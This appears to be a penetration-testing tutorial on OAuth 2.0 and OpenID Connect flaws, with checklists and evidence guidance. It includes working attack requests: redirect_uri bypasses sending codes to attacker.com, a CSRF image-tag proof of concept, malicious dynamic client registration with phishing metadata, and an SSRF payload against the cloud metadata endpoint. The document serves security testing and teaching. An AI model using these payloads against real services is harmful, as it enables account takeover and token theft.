OAuth 2.0 & OIDC Attacks
OAuth 2.0 and OpenID Connect power "Login with Google/Facebook/etc." across the web. Implementation flaws can lead to account takeover, token theft, and unauthorized access.
Warning
Frameworks: WSTG n/a (closest WSTG-ATHN-04) · ASVS 5.0 V10.2.1, V10.4.1, V10.4.6 · CWE-352, CWE-601 · T1528, T1550.001
OAuth 2.0 Authorization Code Flow
Understanding the OAuth flow is essential for identifying attack points. Each step has potential vulnerabilities.
OAuth 2.0 Authorization Code Flow
# OAuth 2.0 Authorization Code Flow
# 1. User clicks "Login with Provider"
→ Redirect to: https://auth.provider.com/authorize?
response_type=code&
client_id=CLIENT_ID&
redirect_uri=https://app.com/callback&
scope=openid profile email&
state=RANDOM_STATE_VALUE
# 2. User authenticates with provider and consents
# 3. Provider redirects back with authorization code
← Redirect to: https://app.com/callback?
code=AUTHORIZATION_CODE&
state=RANDOM_STATE_VALUE
# 4. App exchanges code for tokens (server-side)
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=AUTHORIZATION_CODE&
redirect_uri=https://app.com/callback&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET
# 5. Provider returns tokens
{
"access_token": "eyJ...",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4",
"id_token": "eyJ..." // OIDC only
}Key Attack Points
Step 1: /authorize
- • redirect_uri manipulation
- • Missing/weak state parameter
- • Scope elevation
Step 3: Callback
- • Code/token leakage
- • Open redirect exploitation
- • State validation bypass
Step 4: /token
- • Client secret leakage
- • PKCE bypass
- • Code replay attacks
Step 5: Token Usage
- • Token theft via XSS
- • Insufficient validation
- • Token reuse across apps
Redirect URI Manipulation
The redirect_uri tells the OAuth provider where to send the authorization code or token. If validation is weak, attackers can redirect tokens to their controlled domain.
Redirect URI Hijack — Auth Code Theft
# Redirect URI Manipulation Attacks
# Attack 1: Open Redirect for Token Theft
# If redirect_uri validation is weak, steal authorization code
# Legitimate:
https://auth.provider.com/authorize?
redirect_uri=https://app.com/callback
# Attack - Path traversal:
redirect_uri=https://app.com/callback/../attacker-page
redirect_uri=https://app.com/callback/..%2f..%2fattacker
# Attack - Subdomain:
redirect_uri=https://evil.app.com/callback
redirect_uri=https://app.com.attacker.com/callback
# Attack - Parameter pollution:
redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com
# Attack - URL encoding tricks:
redirect_uri=https://app.com%40attacker.com/callback
redirect_uri=https://app.com%2f%2fattacker.com/callback
# Attack - Fragment:
redirect_uri=https://app.com/callback#@attacker.com
# Attack - localhost:
redirect_uri=http://localhost/callback
redirect_uri=http://127.0.0.1/callback
# If any work, attacker-controlled page receives:
https://attacker.com/callback?code=AUTHORIZATION_CODE
# Attacker exchanges code for access token!Tip
State Parameter Attacks (CSRF)
# State Parameter Attacks (CSRF)
# The state parameter prevents CSRF in OAuth flows
# If missing or predictable, attacks are possible
# Attack 1: Missing State Parameter
# Initiate OAuth flow without state
https://auth.provider.com/authorize?
response_type=code&
client_id=xxx&
redirect_uri=https://app.com/callback
# NO state parameter!
# Attack:
# 1. Attacker initiates OAuth with their account
# 2. Gets callback URL with code: /callback?code=ATTACKER_CODE
# 3. Tricks victim into visiting this URL
# 4. Victim's account gets linked to attacker's OAuth account
# Attack 2: Predictable State
# If state=123 or state=user_id, attacker can predict it
# Attack 3: State Not Validated
# App doesn't check if state matches on callback
# Enables CSRF even with state present
# Detection:
1. Remove state parameter - does OAuth still work?
2. Use same state value twice - is it rejected?
3. Use state from different session - is it accepted?
# Proof of Concept:
<html>
<body>
<!-- Force victim to complete attacker's OAuth flow -->
<img src="https://app.com/callback?code=ATTACKER_CODE" />
</body>
</html>Token Leakage Vectors
# Token Leakage Vectors
# 1. Token in URL (Implicit Flow)
# Tokens exposed in browser history, logs, Referer header
https://app.com/callback#access_token=eyJ...&token_type=bearer
# Attack: Link on page sends Referer with token
<a href="https://attacker.com">Click here</a>
# Request to attacker.com includes:
Referer: https://app.com/callback#access_token=eyJ...
# 2. Token in Query String
https://app.com/callback?access_token=eyJ...
# Tokens may appear in:
# - Server access logs
# - Browser history
# - Proxy logs
# - Analytics (if query params tracked)
# 3. Postmessage Leakage
# If app uses postMessage for token delivery:
window.addEventListener('message', function(e) {
// No origin check!
processToken(e.data.access_token);
});
# Attacker page can send fake messages:
opener.postMessage({access_token: 'attacker_token'}, '*');
# 4. Token in Error Messages
# Verbose errors may expose tokens
{"error": "Invalid token: eyJhbGciOiJIUzI1NiIsInR5..."}PKCE Bypass
PKCE (Proof Key for Code Exchange) was designed to protect against authorization code interception. However, implementation issues can render it ineffective.
# PKCE (Proof Key for Code Exchange) Bypass
# PKCE adds code_verifier/code_challenge to prevent code theft
# But implementation flaws can allow bypass
# Normal PKCE Flow:
# 1. Client generates random code_verifier
# 2. Hashes it: code_challenge = SHA256(code_verifier)
# 3. Sends code_challenge in /authorize request
# 4. Sends code_verifier in /token request
# 5. Server verifies hash matches
# Attack 1: PKCE Not Enforced
# Try authorization request without code_challenge
https://auth.provider.com/authorize?
response_type=code&
client_id=xxx&
redirect_uri=https://app.com/callback
# No code_challenge - if it works, PKCE is optional!
# Then exchange code without code_verifier:
POST /token
grant_type=authorization_code&
code=xxx&
client_id=xxx
# No code_verifier - if it works, PKCE is bypassable!
# Attack 2: Weak Code Challenge Method
# "plain" method just compares strings (no hash)
code_challenge_method=plain
code_challenge=known_value
# Then use code_verifier=known_value
# Attack 3: Code Challenge Not Bound to Code
# Server doesn't verify code_challenge matches the one used during authorization
# Attacker can use any code_verifier for stolen codeClient Secret Leakage
# Client Secret Leakage & Misconfiguration
# Finding Client Secrets:
# 1. JavaScript Files
grep -r "client_secret" *.js
# Found: const clientSecret = "abc123";
# 2. Mobile App Reverse Engineering
apktool d app.apk
grep -r "client_secret" app/
# 3. Source Maps
https://app.com/main.js.map
# May contain original source with secrets
# 4. Git History
git log -p | grep -i "client_secret"
# 5. Error Messages
{"error": "invalid_client", "client_id": "xxx", "client_secret": "expected: abc123"}
# Exploitation with Leaked Secret:
# Exchange any authorization code for tokens
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://app.com/callback&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET
# Use refresh tokens to get new access tokens
POST https://auth.provider.com/token
grant_type=refresh_token&
refresh_token=STOLEN_REFRESH_TOKEN&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRETOpenID Connect Attacks
OIDC extends OAuth 2.0 with identity features. The id_token (a JWT) introduces additional attack surfaces.
# OpenID Connect (OIDC) Specific Attacks
# OIDC adds identity layer on top of OAuth 2.0
# Uses id_token (JWT) to provide user info
# Attack 1: ID Token Validation Bypass
# id_token should be validated (signature, issuer, audience, expiry)
# Many apps don't validate properly
# Missing validations to test:
- Signature verification (try none algorithm)
- Issuer (iss) claim validation
- Audience (aud) claim validation
- Expiration (exp) check
- Nonce validation (prevents replay)
# Attack 2: Nonce Replay
# Nonce should be unique per authentication request
# If not validated, tokens can be replayed
# Capture valid id_token
# Send same id_token again with different session
# If accepted → nonce not validated
# Attack 3: Sub Claim Manipulation
# The sub (subject) claim identifies the user
# If app trusts id_token without proper validation:
# Original:
{"sub": "user123", "email": "user@example.com"}
# If signature not checked:
{"sub": "admin", "email": "admin@example.com"}
# Attack 4: ID Token Injection via Implicit Flow
# In implicit flow, id_token comes in fragment
https://app.com/callback#id_token=ATTACKER_CRAFTED_TOKEN
# If app doesn't validate properly, attacker token is accepted
# Attack 5: Discovery Endpoint Spoofing
# OIDC uses /.well-known/openid-configuration
# If app fetches config insecurely, attacker can:
1. MITM the discovery request
2. Point to attacker's jwks_uri
3. Forge valid tokens with attacker's keysTesting Workflow
OAuth Attack Decision Tree
# OAuth/OIDC Testing Workflow
# Step 1: Identify OAuth Endpoints
/.well-known/openid-configuration
/.well-known/oauth-authorization-server
/oauth/authorize, /oauth/token, /oauth/userinfo
# Step 2: Map the Flow
1. Capture authorize request parameters
2. Note all redirect_uri values used
3. Identify implicit vs authorization code flow
4. Check for PKCE parameters
# Step 3: Test Redirect URI
- Try modifying path, subdomain, port
- Test URL encoding bypasses
- Check regex/wildcard matching
# Step 4: Test State Parameter
- Remove state completely
- Use predictable values
- Check if state is validated on callback
# Step 5: Test Token Handling
- Check where tokens are sent (fragment, query, body)
- Look for token leakage in Referer
- Test token replay
# Step 6: Test PKCE (if present)
- Try without code_challenge
- Try with code_challenge_method=plain
- Try with wrong code_verifier
# Step 7: Test ID Token (OIDC)
- Apply JWT attacks (none algorithm, etc.)
- Check claim validation (iss, aud, exp)
- Test nonce replayPractice Labs
PortSwigger OAuth Labs
Comprehensive OAuth vulnerability labs
OAuth Labs
Hands-on vulnerable OAuth implementations for practice
OAuth Security BCP
Official best practices document
HackerOne Reports
Real-world OAuth vulnerability disclosures
Testing Checklist
Redirect URI
- ☐ Test path manipulation (../, etc.)
- ☐ Test subdomain variations
- ☐ Test URL encoding bypasses
- ☐ Test parameter pollution
- ☐ Check for open redirect in callback
State/CSRF
- ☐ Remove state parameter
- ☐ Reuse state values
- ☐ Use predictable state
- ☐ Cross-session state usage
PKCE
- ☐ Try without code_challenge
- ☐ Try with plain method
- ☐ Try wrong code_verifier
- ☐ Check code_challenge binding
Tokens
- ☐ Check for token in URL/Referer
- ☐ Test id_token validation
- ☐ Look for client_secret exposure
- ☐ Test token replay attacks
- ☐ Check scope handling
- ☐ Test code reuse/replay
- ☐ Test mix-up attacks (multi-IdP)
- ☐ Test dynamic client registration
Advanced OAuth/OIDC Attacks
Authorization Code Reuse & Replay
Authorization codes should be single-use per RFC 6749. Many implementations fail to enforce this:
# Step 1: Complete a legitimate OAuth flow, capture the authorization code
# GET /callback?code=AUTH_CODE_123&state=VALID_STATE
# Step 2: Exchange the code for tokens (legitimate)
curl -X POST https://auth.target.com/oauth/token \
-d "grant_type=authorization_code&code=AUTH_CODE_123&redirect_uri=https://app.target.com/callback&client_id=CLIENT_ID"
# Step 3: Try replaying the same code (should fail but often doesn't)
curl -X POST https://auth.target.com/oauth/token \
-d "grant_type=authorization_code&code=AUTH_CODE_123&redirect_uri=https://app.target.com/callback&client_id=CLIENT_ID"
# If you get a second token → code reuse vulnerability
# Code injection: Use attacker's code in victim's session
# 1. Attacker starts OAuth flow, gets code but doesn't exchange it
# 2. Attacker injects their code into victim's callback URL
# 3. Victim's session now linked to attacker's account at the IdPIdP Mix-Up Attack
When an app supports multiple identity providers, an attacker can confuse which IdP issued a response, stealing authorization codes:
# Attack scenario: App supports both Google and EvilIdP
# 1. Victim starts login with Google → app sends victim to Google
# 2. Attacker's MitM/malicious IdP intercepts, replaces authorization endpoint
# with their own, then relays back through Google's redirect_uri
# 3. Victim authenticates with Google, code goes to attacker's IdP endpoint
# 4. Attacker captures victim's Google authorization code
# Detection: Check if the app validates the 'iss' (issuer) in the response
# Test by modifying the authorization response to swap issuer claims:
# Change iss=https://accounts.google.com to iss=https://evil.com
# Mitigation check: Does the app use the 'iss' parameter in the authorization response?
# RFC 9207 defines this protection. Test if removing/modifying 'iss' breaks the flow.Advanced redirect_uri Bypass
# Subdomain wildcard exploitation
# If redirect_uri validates *.target.com:
redirect_uri=https://evil.target.com/callback # Subdomain takeover
redirect_uri=https://xss.target.com/callback # XSS on any subdomain
redirect_uri=https://target.com.attacker.com/callback # Parser confusion
# Fragment-based token theft (implicit/hybrid flows)
# Tokens in URL fragments (#access_token=...) are not sent to the server
# but ARE accessible via JavaScript — chain with open redirect:
redirect_uri=https://target.com/page-with-open-redirect
# Path traversal in redirect_uri
redirect_uri=https://target.com/callback/../../../attacker-page
redirect_uri=https://target.com/callback/..%2F..%2Fattacker-page
redirect_uri=https://target.com/callback%23@attacker.com
# Localhost/loopback bypass (for native app flows)
redirect_uri=http://127.0.0.1:8080/callback
redirect_uri=http://[::1]:8080/callback
redirect_uri=http://0.0.0.0:8080/callbackDynamic Client Registration Abuse
OIDC dynamic client registration (RFC 7591) lets anyone register a new OAuth client — often without authentication:
# Check if dynamic registration is enabled
curl https://auth.target.com/.well-known/openid-configuration | jq .registration_endpoint
# Register a malicious client
curl -X POST https://auth.target.com/register \
-H "Content-Type: application/json" \
-d '{
"client_name": "Legitimate App",
"redirect_uris": ["https://attacker.com/callback"],
"grant_types": ["authorization_code"],
"response_types": ["code"],
"logo_uri": "https://attacker.com/phishing-logo.png",
"tos_uri": "https://attacker.com/fake-tos"
}'
# Response includes client_id and client_secret for the new client
# Now use this client_id with the authorization endpoint — users see a consent screen
# with your logo_uri and client_name, making phishing convincing
# SSRF via client metadata URLs:
# logo_uri, policy_uri, tos_uri, jwks_uri, sector_identifier_uri
# These may be fetched server-side during registration
curl -X POST https://auth.target.com/register \
-d '{"redirect_uris":["https://attacker.com"],"jwks_uri":"http://169.254.169.254/latest/meta-data/"}'OIDC Claim Tampering
# acr (Authentication Context Class Reference) manipulation
# If the app trusts the acr claim to determine authentication strength:
# Modify the id_token to downgrade acr from "urn:mfa" to "urn:password"
# This may bypass MFA requirements downstream
# amr (Authentication Methods References) manipulation
# Test if the app enforces specific authentication methods:
# Modify amr: ["pwd","otp"] → amr: ["pwd"] (remove MFA indicator)
# Userinfo endpoint exploitation
curl -H "Authorization: Bearer ACCESS_TOKEN" \
https://auth.target.com/userinfo
# Check if userinfo returns more claims than the id_token
# Test with different scopes: openid profile email address phone
# Claims aggregation — test if the relying party blindly trusts
# claims from distributed claims endpoints
# Specify a claims source that returns elevated privilegesEvidence Collection
Auth Code Theft: Burp intercept showing authorization code leaked to attacker-controlled redirect_uri — prove the code can be exchanged for an access token
CSRF/State Bypass: OAuth flow completed without state parameter or with reused state value — demonstrate account linking to attacker's identity
Token Leakage: Access token exposed in URL fragment, Referer header, or browser history — capture showing the token and the scope it grants
Scope Escalation: Request with manipulated scope parameter and response showing the token was granted elevated permissions beyond what was authorized
CVSS Range: State/CSRF bypass: 6.5–8.0 (High) | Auth code theft: 8.0–9.1 | Full account takeover via OAuth: 9.1–9.8 (Critical)
False Positive Identification
- redirect_uri strict matching: Wildcards in redirect_uri are a risk, but exact string matching is safe. Test actual bypass techniques (path traversal, fragment, subdomain) before reporting.
- PKCE protection: If PKCE (code_challenge/code_verifier) is enforced, stolen auth codes can't be exchanged without the verifier — check if the server requires PKCE before reporting code theft.
- Short-lived auth codes: Authorization codes are typically single-use and expire in 30–60 seconds — exploitation requires near-real-time interception. Note the time window in your report.
- Implicit flow deprecation: The implicit flow (response_type=token) is deprecated in OAuth 2.1 — if the application also supports the code flow with PKCE, flag the implicit flow as a misconfiguration rather than a critical finding.
OAuth Attack Practice
Abuse redirect handling and flow state in OAuth implementations.
Related Topics
CSRF Exploitation
State parameter prevents OAuth CSRF
Open Redirect
redirect_uri often vulnerable to open redirect
Webhook Security
Server-to-server callback and event-endpoint trust
SAML / SSO Attacks
Enterprise SSO exploitation techniques
API Pentesting
OAuth for API authorization testing
Exploitation Overview
Back to main exploitation guide